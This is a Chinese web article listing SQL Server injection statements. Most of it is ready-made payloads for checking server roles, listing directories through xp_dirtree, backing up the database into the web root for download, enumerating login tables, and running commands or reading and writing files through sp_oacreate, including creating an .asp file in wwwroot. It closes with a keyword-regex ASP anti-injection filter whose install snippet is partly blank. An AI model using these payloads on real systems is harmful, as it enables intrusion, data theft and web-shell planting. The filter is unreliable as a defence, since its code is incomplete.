快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

常用的SQL注射语句解析(2)

  语句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--

  语句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--

  语句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--

  语句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--

  语句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--

  语句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--

  语句9:and 1=(Select IS_MEMBER('db_owner'));--

  把路径写到表中去:

  ;create table dirs(paths varchar(100), id int)--

  ;insert dirs exec master.dbo.xp_dirtree 'c:\'--

  and 0<>(select top 1 paths from dirs)--

  and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--

  ;create table dirs1(paths varchar(100), id int)--

  ;insert dirs exec master.dbo.xp_dirtree 'e:\web'--

  and 0<>(select top 1 paths from dirs1)--

  把数据库备份到网页目录:下载

  ;declare @a sysname; set @a=db_name();backup database @a to

  disk='e:\web\down.bak';--

  and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where

  xtype=char(85)) T order by id desc)

  and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects)

  参看相关表。

  and 1=(select user_id from USER_LOGIN)

  and 0=(select user from USER_LOGIN where user>1)

  -=- wscript.shell example -=-

  declare @o int

  exec sp_oacreate 'wscript.shell', @o out

  exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

  '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec

  sp_oamethod @o, 'run', NULL, 'notepad.exe'--

  declare @o int, @f int, @t int, @ret int

  declare @line varchar(8000)

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

  exec @ret = sp_oamethod @f, 'readline', @line out

  while( @ret = 0 )

  begin

  print @line

  exec @ret = sp_oamethod @f, 'readline', @line out

  end

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out,

  'c:\inetpub\wwwroot\foo.asp', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,

  ''

  declare @o int, @ret int

  exec sp_oacreate 'speech.voicetext', @o out

  exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

  exec sp_oasetproperty @o, 'speed', 150

  exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong

  to,us', 528

  waitfor delay '00:00:05'

  '; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out

  exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty

  @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel

  servers are belong to us', 528 waitfor delay '00:00:05'--

  xp_dirtree适用权限PUBLIC

  exec master.dbo.xp_dirtree 'c:\'

  返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

  create table dirs(paths varchar(100), id int)

  建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

  insert dirs exec master.dbo.xp_dirtree 'c:\'

  只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!

      另附一段防注代码如下:

<%
Response.Buffer = True '缓存页面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies)

'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
      response.Write("本站友情提醒您^_^:请不要在提交参数:"&sValue&"中包含如下字符:""<br>以免影响您对本站的正常访问!")
    response.Write("<Script Language=javascript>alert('通用防注入程序提醒您:请不要修改提交参数!');history.back(-1);</Script>")
    response.End()
End If
Next
Set regEx = Nothing
End function
%>

希望这个小东西能给大家的网站带来一点安全!
-----------------安装建议-----------------------------------------------------------------
1.就是调用主文件的时候,最好采用绝对路径调用,防止因路径问题引起一些不必要的麻烦。
如:
<!--#include virtual="/
.Asp"-->
2.安装的时候,最好能数据库连接文件头部调用,如:

<%
search=Request.QueryString("search")
%>
<!--#include file="/.asp" -->
数据查询语句,将search变量带入sql语句。
这样写的话,就能防止search变量被注入了。

最简单的方法:

  只要在需要防注入的页面头部用

  

  就可以做到页面防注入~~

  如果想整站防注,就在网站的一个公用文件中,如数据库链接文件conn.asp中!

  添加来调用本文件

  需要注意的是,在添加到数据库连接文件中,为了不和程序发生冲突,

  需添加在文件代码的最底部!

           www..com     (责任编辑 Teng)

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论